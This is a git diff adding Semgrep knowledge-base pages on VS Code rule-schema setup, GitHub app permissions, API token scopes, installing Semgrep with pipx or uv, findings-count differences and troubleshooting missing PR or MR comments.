+When the schema is set up, auto-completion operates in your VS Code IDE just as it does in the Semgrep Editor when writing rules:
+
+
+
+
+
+## Add the Semgrep rule schema in VS Code
+
+Adding the Semgrep rule schema in VS Code requires two steps:
+
+
+
+Install the YAML Language Support extension by Red Hat
+
+
+Associate the Semgrep rule schema
+
+
+
+### Install the YAML Language Support extension by Red Hat
+
+You can install the "YAML" extension authored by "Red Hat" directly in VS Code or by going to the Visual Studio Marketplace and installing it from there. In VS Code, go to the **Extensions** pane and search for `yaml`. This should yield the correction extension as the top result. However, please verify that you are installing the correct extension by ensuring it is the same as [this one](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml).
+
+### Associate the Semgrep rule schema
+
+Once the extension is installed, associate the Semgrep rule schema with the Semgrep YAML rule definitions you are working on in VS Code using one of following methods:
+
+1. Directly in the YAML file
+2. Using `yaml.schemas` in your VS Code `settings.json` file
+
+We recommend taking a look at the [extension overview section on associating schemas](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-schemas) to gain a preliminary understanding before proceeding.
+
+#### Associate a schema directly in the YAML file
+
+To associate the schema directly within a Semgrep YAML rule file, include the following line at the top of the file:
+
+```yaml
+# yaml-language-server: $schema=https://json.schemastore.org/semgrep.json
+```
+
+The drawback to this method is that it must be done independently for each YAML rule file.
+
+#### Associate a schema to a glob pattern via `yaml.schemas`
+
+Before proceeding, we recommend reading the [extension overview](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-a-schema-to-a-glob-pattern-via-yaml.schemas) as a supplement to this article to better understand how YAML schemas are handled by the extension.
+
+To associate the Semgrep rule schema via `yaml.schemas` in your VS Code `settings.json` file (on macOS), go to:
+
+ Code -> Settings -> Settings -> Extensions -> YAML
+
+In the YAML extension settings, scroll down to `Yaml: Schemas` and click `Edit in settings.json`, as shown below:
+
+
+
+
+
+This opens the `settings.json` file with an empty `yaml.schemas` object ready to be defined. For example, consider the following `yaml.schemas` definition:
+
+```json
+"yaml.schemas": {
+ "https://json.schemastore.org/semgrep.json": "Downloads/semgrep_rules/*.yaml"
+}
+```
+
+This associates the schema defined on the left side of the colon (`:`) with files matching the glob pattern on the right. The glob pattern matches any `.yaml` file located in a directory structure that matches `Downloads/semgrep_rules/`. The desired glob pattern differs for varying operating systems and should reflect where you are storing Semgrep YAML rule files.
+
+After completing the configuration for `yaml.schemas`, open a Semgrep rule YAML file to verify that a notice shows at the top similar to this one:
+
+
+
+
+
+This indicates that you've successfully associated the Semgrep rule schema with your Semgrep rule YAML file(s).
diff --git a/mintlify-docs/kb/semgrep-appsec-platform.mdx b/mintlify-docs/kb/semgrep-appsec-platform.mdx
new file mode 100644
index 0000000000..6c486524c8
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform.mdx
@@ -0,0 +1,81 @@
+---
+title: "Semgrep AppSec Platform"
+---
+
+
+
+ Understand GitHub authorization and permissions.
+
+
+ Ensure you select the correct token scopes to avoid API 404s.
+
+
+ Learn how to automate private rules deployment using the Semgrep API.
+
+
+ Why can't I access my Semgrep organization after logging in with GitHub?
+
+
+ Learn why the count of dependencies differs across various pages in Semgrep AppSec Platform.
+
+
+ Learn how to handle externally managed environment errors when installing Semgrep, and how to install Semgrep using pipx or uv.
+
+
+ Understanding the FedRAMP authorization boundary for code scanning services like Semgrep.
+
+
+ Learn why the count of findings differs in the API and Semgrep AppSec Platform.
+
+
+ Learn why the count of findings differs across various pages in Semgrep AppSec Platform.
+
+
+ When Semgrep comments on PR or MR findings, the comments are usually posted on the line of code where the finding is identified (inline). However, there are two common reasons why comments may not appear inline.
+
+
+ Use this reference to check why you may not be receiving Semgrep comments on PRs or MRs.
+
+
+ Learn how to work around Semgrep Managed Scans not running for pull requests in GitHub merge queues.
+
+
+ Why are my projects showing a status of "Not yet started" after I enable Managed Scans?
+
+
+ Learn how to remove users from Semgrep.
+
+
+ How to re-run a Semgrep Managed Scan check for a pull or merge request.
+
+
+ Fix a SAML configuration error when an AttributeStatement is missing.
+
+
+ If needed, check the box to enable non-password authentication mechanisms on Semgrep AppSec Platform.
+
+
+ If SAML signature validation fails, check your certificate upload and information.
+
+
+ Learn how to set up SAML access to Semgrep AppSec Platform with Google Workspace.
+
+
+ Learn how to set up SAML access to Semgrep AppSec Platform with Microsoft Entra ID.
+
+
+ Learn to troubleshoot SAML configuration when SAML stops working.
+
+
+ Learn why the scan duration for a managed scan differs from the scan duration reported by a CI/CD provider.
+
+
+ Learn how to search for, filter for, and sort findings in Semgrep AppSec Platform.
+
+
+ Execute `semgrep login` correctly for customers on dedicated tenants.
+
+
+ Ensure that you're sending the required name and email attributes to Semgrep AppSec Platform.
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/act-on-your-behalf.mdx b/mintlify-docs/kb/semgrep-appsec-platform/act-on-your-behalf.mdx
new file mode 100644
index 0000000000..14f682ec7f
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/act-on-your-behalf.mdx
@@ -0,0 +1,38 @@
+---
+title: "What does 'Act on your behalf' mean?"
+---
+
+**Act on your behalf** is a permission that GitHub requires of all third-party apps that verify a user's identity, that is, when GitHub is used as an identity provider (IdP). The actual scope of this permission is limited to what the user explicitly permits. As stated in the [GitHub documentation](https://docs.github.com/en/apps/using-github-apps/authorizing-github-apps#about-github-apps-acting-on-your-behalf):
+
+
+The GitHub App can only do things that both you and the app have permission to do.
+
+
+This restriction also applies to read and write permissions—for example, you have to explicitly grant read and write permissions on a granular level for an app to act on your behalf.
+
+At the start of your Semgrep onboarding experience, the resource granted to Semgrep is read access to your **email address**, but Semgrep itself never acts on your behalf.
+
+
+
+
+
+## How to detect when an app acts on your behalf
+
+When an action is undertaken by an app on your behalf, GitHub adds a label **— with NAME_OF_APP app**.
+
+
+
+
+
+
+In contrast, the Semgrep GitHub app performs the action it's permitted to perform as itself. It does not use your identity to perform any actions. You can see this when Semgrep posts PR comments:
+
+
+
+
+
+## Further reading
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/api-404-token-scope.mdx b/mintlify-docs/kb/semgrep-appsec-platform/api-404-token-scope.mdx
new file mode 100644
index 0000000000..835868748c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/api-404-token-scope.mdx
@@ -0,0 +1,27 @@
+---
+title: "Web API error 404 and token scopes"
+---
+
+If you receive a 404 error from the [Semgrep Web API](/api-reference/Introduction), and you are sure the deployment, API endpoint, and other details are correct, you may be trying to use a token that does not have the **Web API** scope assigned.
+
+Semgrep AppSec Platform supports two primary token scopes: **Agent (CI)** and **Web API**. See [Token scopes](/deployment/tokens#token-scopes) for details of their permissions.
+
+Tokens with only the **Agent (CI)** scope can connect scans with the platform to request rules, send findings, and post PR/MR comments, but they cannot use the Web API. They are intended for use locally or in CI.
+
+## Add scopes to a token
+
+You must be an `admin` to perform this operation. Member users cannot access tokens in the Semgrep AppSec Platform.
+
+
+
+ Log in to Semgrep AppSec Platform and navigate to [**Settings > Tokens**](https://semgrep.dev/orgs/-/settings/tokens/).
+
+
+ Identify the related token, and click the icon to edit the token.
+
+
+ Click **Web API** under **Token scopes**.
+
+
+
+If the token does not appear in the **API Tokens** section, it is a Member-scoped CLI token whose permissions cannot be escalated. Create a new token on the Settings page instead, and make sure to check the **Web API** box.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/automate-rules-deployment.mdx b/mintlify-docs/kb/semgrep-appsec-platform/automate-rules-deployment.mdx
new file mode 100644
index 0000000000..804bf9a151
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/automate-rules-deployment.mdx
@@ -0,0 +1,55 @@
+---
+title: "Automate private rules deployment using the Semgrep API"
+---
+
+You can automate private rules deployment using the Semgrep API using the following steps:
+
+
+
+ Ensure that you've [created your private rules and published them](/writing-rules/private-rules) so that they're available to your organization.
+
+
+
+ Once you've published your rules, activate the rules by setting the rules' `policyMode` parameters using the [Update policies endpoint](https://semgrep.dev/api/v1/#tag/PoliciesService/operation/PoliciesService_UpdatePolicy).
+
+ This endpoint requires you to provide the `rulePath`, which is the **Organization slug** + `.` + the **Rule ID**. You can find the **Organization slug** in Semgrep AppSec Platform under [**Settings > General > Identifiers**](https://semgrep.dev/orgs/-/settings/general/identifiers), and you can see the **Rule ID** defined in the rule's YAML file.
+
+ Example:
+
+ ```text
+ # sample rulePath for the Docs deployment using a private rule
+ docs.private-rule
+ ```
+
+ You can also validate `rulePath` from the publish command output:
+
+ ```console
+ --> Uploading rules/examples/private-rule.yml (test cases: [])
+ > Published VisibilityState.ORG_PRIVATE rule at https://semgrep.dev/r/docs.private-rule
+ ```
+
+
+
+## Considerations
+
+- The folder structure of your rules repository doesn't affect the rules published. For example, if you have two rules in `./rules/examples/`, and you publish them using `semgrep publish ./rules`, there aren't mentions of `examples` in Semgrep AppSec Platform even though it's in the repository path:
+
+
+ 
+
+
+ Two rules with the same ID can cause confusion, since the newer rule is the one reflected in Semgrep AppSec Platform.
+
+- Strings in the rule ID separated by periods `.` are treated by Semgrep as labels. For example, if the rule ID is `dw3.go-xfile-sink-example`, the displayed rule name is `go-xfile-sink-example`:
+
+
+ 
+
+
+ Furthermore, multiple rules with similar names are distinguished by their labels, which always include the organization slug. In the following example, there are two rules with the **Rule name** `go-xfile-sink-example`, but the **Labels** are different:
+
+
+ 
+
+
+- You can structure your custom rules repository as needed. However, to help manage your repository in a scalable manner, Semgrep suggests using the path structure and assigning each of your teams its own folder. Then, create a build step that incorporates some of this path data from the repository into the rule IDs' names before publishing. This way, you have labels in Semgrep AppSec Platform that include information about the origins of the rule, and the labels prevent naming conflicts that could lead to one rule overwriting another rule.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login.mdx b/mintlify-docs/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login.mdx
new file mode 100644
index 0000000000..f200481534
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login.mdx
@@ -0,0 +1,30 @@
+---
+title: "Why can't I access my Semgrep organization after logging in with GitHub?"
+---
+
+When you log in to Semgrep with GitHub authentication, you may be prompted to create a new organization instead of accessing your existing one. This typically happens when there are issues with the GitHub single sign-on (SSO) connection or when the Semgrep GitHub app installation needs to be reviewed by your GitHub administrator.
+
+## If you aren't a Semgrep administrator
+
+Ensure that:
+
+1. You're logging in with the correct GitHub account.
+2. You have the necessary access permissions for the GitHub organization linked to the Semgrep organization. You must be a member, *not* an outside collaborator.
+
+If you have confirmed that you have access with your GitHub administrator, work with your Semgrep administrator to take further steps.
+
+## If you're a GitHub *and* Semgrep administrator
+
+Verify that the Semgrep GitHub app is installed correctly on your GitHub org:
+
+
+
+Go to the [public Semgrep app on GitHub](https://github.com/apps/semgrep-app).
+
+
+Click the **Configure** button to visit the configuration page and review the app installation. Ensure that you've granted Semgrep the requested permissions.
+
+
+Try logging in to Semgrep again with your GitHub account.
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/dependency-count-differ-platform.mdx b/mintlify-docs/kb/semgrep-appsec-platform/dependency-count-differ-platform.mdx
new file mode 100644
index 0000000000..c1f6886b14
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/dependency-count-differ-platform.mdx
@@ -0,0 +1,7 @@
+---
+title: "Why does the Projects page display a different dependency count from the Dependencies page?"
+description: "The **Projects** page displays the count of individual dependency entries in the latest full scan for the project. The **Dependencies** page shows only unique entries for a dependency, taking into account its lockfile and transitivity status. Dependencies that appear more than once indicate their line locations on hover."
+---
+
+
+The **Dependencies** page also [loads only the first ten dependency sources](/semgrep-supply-chain/dependency-search#view-additional-manifest-files-or-lockfiles) by default. Load additional dependency sources to see the full count.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/error-externally-managed-environment.mdx b/mintlify-docs/kb/semgrep-appsec-platform/error-externally-managed-environment.mdx
new file mode 100644
index 0000000000..5163bf434c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/error-externally-managed-environment.mdx
@@ -0,0 +1,79 @@
+---
+title: "error: externally-managed-environment"
+description: "If your Python environment is [externally managed by a package manager](https://packaging.python.org/en/latest/specifications/externally-managed-environments/), you can't use `pip` for system-wide installations. This results in the `externally-managed-environment` when you try to use `pip` to install Semgrep."
+---
+
+Error message on macOS:
+
+```bash expandable
+error: externally-managed-environment
+
+× This environment is externally managed
+╰─> To install Python packages system-wide, try brew install
+ xyz, where xyz is the package you are trying to
+ install.
+
+ If you wish to install a Python library that isn't in Homebrew,
+ use a virtual environment:
+
+ python3 -m venv path/to/venv
+ source path/to/venv/bin/activate
+ python3 -m pip install xyz
+
+ If you wish to install a Python application that isn't in Homebrew,
+ it may be easiest to use 'pipx install xyz', which will manage a
+ virtual environment for you. You can install pipx with
+
+ brew install pipx
+
+ You may restore the old behavior of pip by passing
+ the '--break-system-packages' flag to pip, or by adding
+ 'break-system-packages = true' to your pip.conf file. The latter
+ will permanently disable this error.
+
+ If you disable this error, we STRONGLY recommend that you additionally
+ pass the '--user' flag to pip, or set 'user = true' in your pip.conf
+ file. Failure to do this can result in a broken Homebrew installation.
+
+ Read more about this behavior here:
+
+note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
+hint: See PEP 668 for the detailed specification.
+```
+
+Error message on Ubuntu:
+
+```bash expandable
+error: externally-managed-environment
+
+× This environment is externally managed
+╰─> To install Python packages system-wide, try apt install
+ python3-xyz, where xyz is the package you are trying to
+ install.
+
+ If you wish to install a non-Debian-packaged Python package,
+ create a virtual environment using python3 -m venv path/to/venv.
+ Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
+ sure you have python3-full installed.
+
+ If you wish to install a non-Debian packaged Python application,
+ it may be easiest to use pipx install xyz, which will manage a
+ virtual environment for you. Make sure you have pipx installed.
+
+ See /usr/share/doc/python3.12/README.venv for more information.
+
+note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
+hint: See PEP 668 for the detailed specification.
+```
+
+## How to fix this error
+
+The recommended way to install Semgrep is to use a tool that manages isolated environments for standalone Python applications, such as [`pipx`](https://pipx.pypa.io/stable/) or [`uv`](https://docs.astral.sh/uv/). See the [Python Packaging guide on installing stand-alone command-line tools](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on these tools.
+
+Choose one of the following:
+
+- Install [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/), then run `pipx install semgrep`.
+- Install [`uv`](https://docs.astral.sh/uv/getting-started/installation/), then run `uv tool install semgrep`. To run a one-off Semgrep command without persistently installing it, use `uvx semgrep`. See the [`uv` tools guide](https://docs.astral.sh/uv/guides/tools/) for more details.
+- Install Semgrep using [`homebrew`](https://brew.sh/), with `brew install semgrep`.
+
+If you're already using a custom Python virtual environment, you can install Semgrep in this existing environment instead.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/fedramp-with-semgrep.mdx b/mintlify-docs/kb/semgrep-appsec-platform/fedramp-with-semgrep.mdx
new file mode 100644
index 0000000000..7f1cd1ba0f
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/fedramp-with-semgrep.mdx
@@ -0,0 +1,13 @@
+---
+title: "FedRAMP authorization boundary for code scanning services like Semgrep"
+description: "At Semgrep, we understand the importance of staying within the FedRAMP Authorization Boundary guidelines, especially when it comes to code security and scanning services. Many other companies agree with our understanding of the FedRAMP Authorization Boundary guidance (Section 7) which stipulates that corporate services (like source code management or code security and scanning services) are outside of the FedRAMP Authorization Boundary so long as they do not contain any federal data or unauthorized metadata. "
+---
+
+
+When a code scanning service such as Semgrep scans your source code, it does not gain access to any federal data or government related meta-data if it is not contained within your source code.
+
+The FedRAMP Authorization Boundary guidance specifically calls out that DevOps is outside of FedRAMP scope so long as *“there is no federal information within this environment”*. This requirement is almost always satisfied. When Semgrep scans code for a FedRAMP compliant customer, metadata is stored about their code but nothing else (that can be related to what federal data they store). For more information around metrics collected by Semgrep, please refer to our [docs](/metrics).
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-api-platform.mdx b/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-api-platform.mdx
new file mode 100644
index 0000000000..02811c23b3
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-api-platform.mdx
@@ -0,0 +1,29 @@
+---
+title: "Why do the findings count differ in the API and the Semgrep AppSec Platform UI?"
+---
+
+## Semgrep Code and Supply Chain findings
+
+Semgrep Code and Supply Chain findings shown in Semgrep AppSec Platform are automatically deduplicated by default. This means that a finding that appears across multiple branches or scans is counted only once (typically for the most recent occurrence on a primary branch). The findings, however, aren't deduplicated by default when you request them through the Semgrep API.
+
+You can see results from the API that match those shown in Semgrep AppSec Platform by making a call to the [List code or supply chain findings](/api-reference/findingsservice/list-code-or-supply-chain-findings) endpoint, ensuring that you include the `dedup=true` parameter.
+
+## Semgrep Secrets findings
+
+Semgrep AppSec Platform displays the latest instance of a Semgrep Secrets finding by default, even if the finding appears on a non-primary branch. A Secrets finding is considered relevant if it exists on *any* branch. Semgrep's [Secrets API endpoint](https://semgrep.dev/api/v1/#tag/SecretsService) also behaves this way, so the counts shown in Semgrep AppSec Platform and by the API are typically in agreement.
+
+## Filters and scoping the API call to ensure consistency
+
+To ensure consistency in the findings count shown by the Semgrep API and in the Semgrep AppSec Platform UI, use the same filters in your API query as those applied in the UI, such as:
+
+- Ref
+- Severity
+- Confidence
+- `dedup=true` (this parameter is crucial for aligning the API output with the information shown in Semgrep AppSec Platform)
+
+
+**NOTE**
+
+When setting `ref`, note that passing the `ref=_default` parameter to the API is *not* equivalent to setting the primary branch in Semgrep AppSec Platform. You must set `ref` explicitly to the primary branch name, such as `main` or `master`, to ensure the output matches the information in the UI. Without this, the API returns findings from all branches.
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-platform.mdx b/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-platform.mdx
new file mode 100644
index 0000000000..78543405be
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/findings-count-differ-platform.mdx
@@ -0,0 +1,46 @@
+---
+title: "Why are findings counts different across Semgrep AppSec Platform pages?"
+description: "You may see different findings counts across the [Dashboard](/semgrep-appsec-platform/dashboard), [Projects](/deployment/manage-projects), [Scans](/deployment/manage-projects#scan-details-and-logs), and Findings pages in Semgrep AppSec Platform. This is typically due to the filtering criteria used to display the findings."
+---
+
+## The Projects page displays a different findings count from the Findings pages
+
+Semgrep AppSec Platform computes the findings count displayed on the **Projects** page as follows:
+
+- For Semgrep Code and Semgrep Supply Chain, the findings count is computed using the [**primary branch**](/deployment/primary-branch). The Projects page displays **Open** findings. This does not currently include findings in the **To Fix** or **Fixing** statuses.
+- For Semgrep Secrets, the findings count is computed from [deduplicated findings across all branches](/semgrep-secrets/triage-remediation#default-secrets-page-view-and-branch-logic).
+
+The product-specific **Findings** pages display findings as follows:
+
+- [Semgrep Code](/semgrep-code/findings): displays findings from the primary branches of all repositories. Shows **Open** findings by default.
+- [Semgrep Supply Chain](/semgrep-supply-chain/findings): displays vulnerability findings from the primary branches of all repositories. Shows **Open** findings that are **Reachable** or **Needs review** by default.
+- [Semgrep Secrets](/semgrep-secrets/triage-remediation): displays the instance of a finding from the most recent branch scanned. Shows **Open** that are not **Confirmed invalid** by default.
+
+## The Projects page displays a different findings count from the Scans page
+
+The **Projects** page counts the **Open** findings identified in the **primary branch**, while the **Projects > Project Details > Scans** page lists each scan individually, with a count of the findings identified on the branch that Semgrep scanned. The **Scans** page entry for a scan displays all findings that were identified in that scan, regardless of their current status.
+
+## The Dashboard page displays a different findings count from the Findings pages
+
+The finding counts on the **Dashboard** show historical changes and the state of findings during a specific period, while the **Findings** pages reflect the current state of findings. More specifically:
+
+- The **Dashboard** page includes the **Total fixed** and **Total ignored** finding counts in the **Production backlog** section. These numbers include all findings that you fixed or triaged as ignored during the selected period, even if the findings' statuses have changed since then. This is different from the findings count displayed on the **Findings** page, which only counts findings that are currently triaged as **Ignored**.
+- Similarly, the **Total opened** number counts the number of findings that were opened or reopened during the selected period. This differs from the **Findings** page, which displays a count of the findings that are currently open.
+
+### The Recommended priority filter
+
+The **Dashboard** page also features the **Recommended priority** filter. When this filter is enabled, the page includes findings that are **Critical** or **High** severity in addition to being:
+
+- **High confidence** - if the finding is from Semgrep Code.
+- **Reachable** in code - if the finding is from Semgrep Supply Chain.
+- **Valid** and non-historical - if the finding is from Semgrep Secrets.
+
+By default, **Recommended priority** filters are enabled. If you choose to turn off **Recommended priority** filters, the additional filters are removed, but the **Dashboard** page still displays historical information over the time period.
+
+## The Time period filter
+
+The **Time period** filter that is active on a page can also significantly affect what data is shown. The **Projects** page does not have a time period filter; it always displays currently open findings.
+
+- The **Dashboard** page defaults to a time period of 3 months, and can display time periods between 7 days and 1 year.
+- The **Findings** pages default to **All time**. The **Time period** filters on these pages allow selection between **Opened**, **Triaged**, and **Fixed** options, and between 1 day and all time (as long as the organization has been running Semgrep scans). For example, you can view findings that have been **Triaged** in the last 7 days.
+- The **Projects > Project Details > Scans** page displays individual scans from the last month by default, and can display either 7 days of scans or 1 month of scans. Any scans outside of the specified time period are not shown.
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/inline-pr-comments.mdx b/mintlify-docs/kb/semgrep-appsec-platform/inline-pr-comments.mdx
new file mode 100644
index 0000000000..45e7223ac3
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/inline-pr-comments.mdx
@@ -0,0 +1,26 @@
+---
+title: "Why did the comments on a PR or MR not appear inline?"
+description: "When Semgrep comments on PR or MR findings, the comments are usually posted on the line of code where the finding is identified (inline). However, there are two common reasons why comments may not appear inline."
+---
+
+## Avoiding excessive inline comments
+
+For rules with several findings in the same PR or MR, inline comments for every individual finding occupy a significant amount of space without providing much additional information. Therefore, if the same finding occurs more than five times in a PR or MR, the related comment is posted as a summary (overall) comment. Findings grouped together into a summary comment can only be triaged in Semgrep AppSec Platform.
+
+## Available lines in the displayed diff
+
+### GitHub PRs
+
+GitHub only allows PR comments to be posted on lines of code that are shown in the default file-diff (Files changed) view on GitHub. If a finding appears outside those lines, Semgrep attempts to post the comment as close to the finding as feasible. If that fails, it posts the comment as a summary comment, visible in the Conversation view.
+
+### GitLab MRs
+
+GitLab allows comments to be posted on lines of code outside the default file-diff view, but the comments don't appear in the file-diff (Changes) view. However, they do appear as diff-related comments on the Overview.
+
+## Additional references
+
+
+
+
+
+
diff --git a/mintlify-docs/kb/semgrep-appsec-platform/missing-pr-comments.mdx b/mintlify-docs/kb/semgrep-appsec-platform/missing-pr-comments.mdx
new file mode 100644
index 0000000000..fefb4cbbbb
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-appsec-platform/missing-pr-comments.mdx
@@ -0,0 +1,185 @@
+---
+title: "Why is my repository not receiving PR or MR comments?"
+description: "If you have configured Semgrep in CI and Semgrep AppSec Platform to create comments when a rule generates a finding in a PR or MR, but you are not seeing those comments, review the following possibilities."
+---
+
+## Are comments supported in your source code manager (SCM)?
+
+PR or MR comments are currently supported for:
+
+- All GitHub plans
+- All GitLab plans
+- All Bitbucket plans
+- Azure DevOps Cloud repositories
+
+PR or MR comments are not supported for:
+
+- Any other SCM or repository provider
+
+A connection to a source code manager is required for a repository to receive PR or MR comments. If you have not done so yet, [set up a connection for your SCM organization or project](/deployment/connect-scm).
+
+If you are using a self-hosted version of your SCM, see [Connect to on-premise orgs and projects](/deployment/connect-scm/#connect-to-on-premise-orgs-and-projects) for more details on configuration.
+
+## Have you configured permissions and tokens correctly?
+
+### GitHub
+
+Semgrep relies on the Semgrep GitHub app to make comments on code. To receive comments on a project, ensure that you have performed the following steps:
+
+- You have [onboarded](/category/scan-repositories-with-the-appsec-platform) the project to Semgrep AppSec Platform.
+- You have configured your GitHub app with permissions for all repositories that are scanned by Semgrep AppSec Platform. See [Enabling GitHub pull request comments](/semgrep-appsec-platform/github-pr-comments) for details, or review the following examples:
+
+
+ 
+
+
+
+ 
+
+
+### Azure DevOps
+
+See [Enable Azure pull request comments](/semgrep-appsec-platform/azure-pr-comments) for token permissions and configuration guidelines.
+
+### GitLab
+
+The GitLab token should have `api` scope. See [Enable GitLab merge request comments](/semgrep-appsec-platform/gitlab-mr-comments) for details.
+
+The `api` scoped token must be provided to Semgrep through the SCM connection. Semgrep no longer supports tokens provided in the GitLab CI/CD pipeline.
+
+#### Bitbucket
+
+The Bitbucket token must be a repository access token or a workspace access token. See [Enable Bitbucket pull request comments](/category/bitbucket-pr-comments) for details.
+
+## Are you running diff-aware scans?
+
+In Managed Scans: Semgrep always runs diff-aware scans on pull and merge request events. Full scans run at scheduled intervals.
+
+In GitHub Actions and GitLab CI/CD: Semgrep runs diff-aware scans on pull or merge requests by default if you are using the recommended configuration.
+
+In other SCMs or CI systems, or with unusual pipeline configurations: diff-aware scans may require additional setup. Review the [configuration instructions](/category/pr-or-mr-comments) for your SCM or [custom configuration for your CI jobs](/deployment/customize-ci-jobs#set-up-diff-aware-scans) and ensure you have configured your scans correctly.
+
+### Identify a diff-aware scan
+
+Semgrep diff-aware scans are most easily identified by reviewing three items in the scan log:
+
+- The triggering event
+- The number of files scanned
+- Whether a baseline scan is conducted
+
+#### The triggering event for the scan
+
+The triggering event for the scan in GitHub or GitLab should typically be `pull_request`. This is the easiest to find but the least reliable, since it's possible to configure diff-aware scans on other event types. In the scan log, this appears as:
+
+```bash
+environment - running in environment github-actions, triggering event is pull_request
+```
+
+This line indicates that a scan was triggered from a pull request, and is most likely diff-aware, whereas:
+
+```bash
+environment - running in environment github-actions, triggering event is schedule
+```
+
+would not typically indicate a diff-aware scan. Scheduled scans are typically full scans of all code in the repository.
+
+#### The number of files scanned
+
+The number of files scanned should be approximately the number of files modified in the PR, and should not include all files in the repository.
+
+In the scan log, this appears as:
+
+```bash
+Scanning 2 files tracked by git with 1194 Code rules, 860 Secrets rules, 768 Supply Chain rules:
+```
+
+This would most likely be a diff-aware scan, unless you are doing a test on a very small repository.
+
+However, if you instead see something like:
+
+```bash
+Scanning 1002 files tracked by git with 1971 Code rules, 858 Secrets rules, 3619 Supply Chain rules:
+```
+
+and the repository's total number of files is around 1000, then this most likely is not a diff-aware scan.
+
+#### Whether a baseline scan is conducted
+
+Finally, during the process of a diff-aware scan, Semgrep actually conducts two scans: one at the current tip or head of the PR, and one at the baseline ref or commit.
+
+The following log is anonymized and truncated for clarity, and the exact format of the log may evolve over time. It shows the key item to review, the two distinct `Scan Status` entries:
+
+```bash expandable
+┌────────────────┐
+│ Debugging Info │
+└────────────────┘
+
+ SCAN ENVIRONMENT
+ versions - semgrep 1.76.0 on python 3.11.9
+ environment - running in environment github-actions, triggering event is pull_request
+Fixing git state for github action pull request
+Not on head ref: fcc...d21; checking that out now.
+
+ CONNECTION
+Using 104...950 as the merge-base of f5e...1a7 and fcc...d21
+ Initializing scan (deployment=testsemgrep, scan_id=29062823)
+ Enabled products: Code, Supply Chain
+...
+┌─────────────┐
+│ Scan Status │
+└─────────────┘
+ Scanning 52 files tracked by git with 1898 Code rules, 818 Supply Chain rules:
+...
+ Current version has 60 findings.
+
+Creating git worktree from '104...950' to scan baseline.
+...
+┌─────────────┐
+│ Scan Status │
+└─────────────┘
+ Scanning 4 files tracked by git with 2 Code rules, 34 Supply Chain rules:
+```
+
+The initial scan, which occurs at the current commit for the pull request `fcc...d21`, scans 52 files and identifies 60 findings. The baseline scan, which occurs at `104...950`, scans 4 files. Baseline scans typically scan fewer files than the original scan, as they only need to scan files and rules that have findings in the initial scan to determine which of those findings were present before the changes made in the pull or merge request.
+
+This also means that baseline scans are not conducted if all findings in the current commit that are in files added by the PR or MR, because those findings could not have been present before. This information is logged as:
+
+```bash
+Skipping baseline scan, because all current findings are in files that didn't exist in the baseline commit.
+```
+
+If the baseline scan is skipped, the scan is still diff-aware; the baseline scan just isn't necessary.
+
+If you review the scans that are not generating comments and find that they are not diff-aware, and you have followed the preceding guidance, feel free to [reach out to Semgrep support](/support) for help.
+
+## Have you correctly configured your policies?
+
+### Code: The rule is in Comment or Block mode
+
+To receive comments for a Code rule, the rule must be in the [Comment or Block policy mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes). Rules in Monitor mode do not generate comments.
+
+### Secrets: The rule is in Comment or Block mode, and validation settings match
+
+For Secrets, the rule's [policy mode](/semgrep-secrets/policies#rule-modes) must be Comment or Block. The secret must also be valid, unless you have customized your validation state policy. See [Validation state policies](/semgrep-secrets/policies#validation-state-policies) for more information.
+
+### Supply Chain: The finding meets your criteria for commenting or blocking
+
+Supply Chain provides flexible policy configuration based on a variety of criteria. When setting up a policy, you can choose the actions "Leave a comment" or "Block and leave a comment". These actions are similar to the Comment and Block modes of Code and Secrets policies. If a finding meets your configured criteria for commenting, then it should result in a comment on the PR or MR.
+
+## Is this the first time this finding has been identified?
+
+PR or MR comments are generated when a finding is new. If a finding was seen in a previous scan, it is [not new](/semgrep-code/remove-duplicates) and a comment is not generated.
+
+This prevents repeated comments on findings that have already notified developers.
+
+## Has the finding been filtered by Semgrep Multimodal as a potential false positive?
+
+If you use Semgrep Multimodal and have configured the **Noise filter for Code PR/MR comments** setting to **Don’t leave a PR/MR comment** for likely false positives, review whether Multimodal has categorized the finding as a false positive.
+
+This can be particularly tricky if you're in the process of testing PR/MR comments, since Multimodal uses information about whether the code appears to be in a test context as part of determining whether it may be a false positive finding.
+
+Consider disabling this setting during testing if you are having difficulty generating comments.
+
+## If you're still having trouble
+
